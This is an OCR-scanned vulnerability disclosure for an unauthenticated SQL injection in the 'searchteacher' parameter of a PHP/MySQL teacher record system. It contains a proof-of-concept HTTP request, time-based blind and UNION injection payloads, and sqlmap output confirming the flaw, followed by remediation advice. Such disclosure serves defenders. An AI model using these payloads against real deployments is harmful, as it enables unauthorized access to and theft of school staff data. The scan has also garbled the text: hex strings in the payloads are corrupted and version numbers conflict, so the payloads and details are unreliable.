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Vendor Homepage
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submitter
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VERSION(S)

« V1.0

Software Link

 https://www.sourcecodester.com/download-code?
nid=14399¢&title=Teacher+Record+System+in+PHP%2FMySQL

PROBLEM TYPE

Vulnerability Type

e SQL injection

Root Cause

e A SQL injection vulnerability was found in the '/trms/search-teacher.php’ file of the 'Teacher Record
System in PHP/MySQL ' project. The reason for this issue is that attackers inject malicious code from the
parameter 'searchteacher and use it directly in SQL queries without the need for appropriate cleaning or
validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing
unauthorized operations.

Impact

» Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive
data leakage, data tampering, comprehensive system control, and even service interruption, posing a
serious threat to system security and business continuity.

DESCRIPTION

« During the security review of "Teacher Record System in PHP/MySQL ", discovered a critical SQL
injection vulnerability in the “/trms/search-teacher.php" file. This vulnerability stems from insufficient user
input validation of the 'searchteacher’' parameter, allowing attackers to inject malicious SQL queries.
Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access
sensitive information. Immediate remedial measures are needed to ensure system security and protect
data integrity.

No login or authorization is required to exploit this
vulnerability
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Vulnerability details and POC

1.txt

POST /Teachers/trms/search-teacher.php HTTP/1.1 d;
Host: 127.0.0.1

Content-Length: 27

Cache-Control: max-age=0

sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "wWindows"

Accept-Language: zh-CN,zh;q=0.9

Origin: http://127.0.0.1

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/137.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=
exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: http://127.0.0.1/Teachers/trms/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=30sc6gnn22go9tr4kflieén4rls

Connection: keep-alive

searchteacher=13132*&search=

Vulnerability type:

¢ time-based blind

¢ boolean-based blind

Vulnerability location:

« searchteacher' parameter
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Payload:

Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchteacher=13132' AND (SELECT 5183 FROM (SELECT(SLEEP(5)))yoUJ) AND 'OPAB'='OPABS&search=

Type: UNION query

Title: Generic UNION query (NULL) - 10 columns

Payload: searchteacher=13132" UNION ALL SELECT NULL,,NULL,NULL,NULL, NULL ,CONCAT(@x716b706b71,0x7a53U97U55U16a50U86f75
626119Ue59586b5U7a656a6c62U37552U1U9637U52UT76573U36U66UF5U  0xT716a6a7171) , NULL , NULL  NULL  NULL—— -&search=

] ]
web application technology: Apache 2.4.39, PHP 5.3.29

The following are screenshots of some specific information
obtained from testing and running with the sqlmap tool:

sqlmap -r 1.txt  --dbs LI.:I
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CAWindows\System32\cmd.e X + o~

| .
RN PRy Y
_lv... https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program
[*] starting @ 14:42:26 /2026-03-15/

1T 1 parsing HTTP request from '1.txt'
ustom injection marker ('*') found in POST body. Do you want to process it? [Y/n/ql y

I

c

I

[ checking if the target is protected by some kind of WAF/IPS

[ testing if the target URL content is stable

L target URL content is stable

) testing if (custom) POST parameter '#1*' is dynamic

[ WARNING] (custom) POST parameter '#1%' does not appear to be dynamic

I WARNING] #1%
I 1 H1*

[ ] testing for SQL injection on (custom) POST parameter '#I1%'

[ ] testing 'AND boolean-based blind - WHERE or HAVING clause'
[WARNING] reflective value(s) found and filtering out

[ ] testing 'Boolean-based blind - Parameter replace (original value)'

CAWindows\System32\cmd.e X + v

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
s [v/n] y
) 1L ] testing 'Generic UNION query (NULL) - 1 to 20 columns®
[ 1L 1 automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[ ] target URL appears to be UNION injectable with 1@ columns

[ ] ] #1* Generic UNION query (NULL) - 1 to 20 columns
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
Parameter: #1* ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)

Payload: searchteacher=13132' AND (SELECT 5183 FROM (SELECT(SLEEP(5)))yoUJ) AND 'OPAB'='OPAB&search=

Type: UNION gquery

Title: Generic UNION query (NULL) - 16 columns

Payload: searchteacher=13132" UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(8x716b706b71,0x7a53U97U55U16a50U86F75
626119Ue59586b5UTa656a6c62U375520U149637U52U76573U36LU66LUF5L , 0xT16a6a7171) , NULL ,NULL ,NULL ,NULL-- -&search=

] ]
web application technology: Apache 2.4.39, PHP 5.3.29
back-end DBMS: MySQL >= 5.8.12
[ 1L ] fetched data logged to text files under 'C:\Users\qu\AppData\Local\sqlmap\output\127.0.0.1"
[ ] [WARNING] your sqlmap version is outdated

[*] ending @ 14:u3:87 /2026-03-15/

C:\sql\sqlmap>|

Suggested repair

1. Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When
using prepare statements, the value entered by the user is treated as pure data and will not be
interpreted as SQL code.
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2. Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions.
Avoid using accounts with advanced permissions (such as' root 'or' admin ") for daily operations.

4. Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security
vulnerabilities.
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